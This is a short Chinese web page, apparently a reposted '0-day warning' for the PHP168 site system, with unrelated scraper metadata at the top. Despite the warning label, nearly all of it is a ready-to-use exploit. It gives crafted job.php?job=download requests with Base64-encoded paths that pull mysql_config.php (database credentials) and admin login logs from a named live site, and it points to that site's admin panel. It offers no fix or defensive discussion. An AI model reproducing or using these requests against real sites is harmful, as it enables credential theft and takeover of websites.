PHP168整站系统0DAY漏洞预警

来源:互联网 发布:怎么给js里传参 编辑:程序博客网 时间:2024/05/21 16:32
下载 mysql_config.php 和 adminlogin_logs.php 两个文件到本地。

http://dabei.org//job.php?job=download&url="aHR0cDovL2RhYmVpLm9yZy8vY2FjaGUvYWRtaW5sb2dpbl9sb2dzLnBocA=="

http://dabei.org//job.php?job=download&url="aHR0cDovL2RhYmVpLm9yZy8vY2FjaGUvYWRtaW5sb2dpbl9sb2dzLnBocA=="

程序后台:http://dabei.org/admin/index.php?iframe=1

Base64加密代码:

http://dabei.org//cache/adminlogin_logs.php  ==  "aHR0cDovL2RhYmVpLm9yZy8vY2FjaGUvYWRtaW5sb2dpbl9sb2dzLnBocA==" (引号里面的是Base64加密后的)

http://dabei.org//php168/mysql_config.php  ==  "aHR0cDovL2RhYmVpLm9yZy8vcGhwMTY4L215c3FsX2NvbmZpZy5waHA="  (引号里面的是Base64加密后的)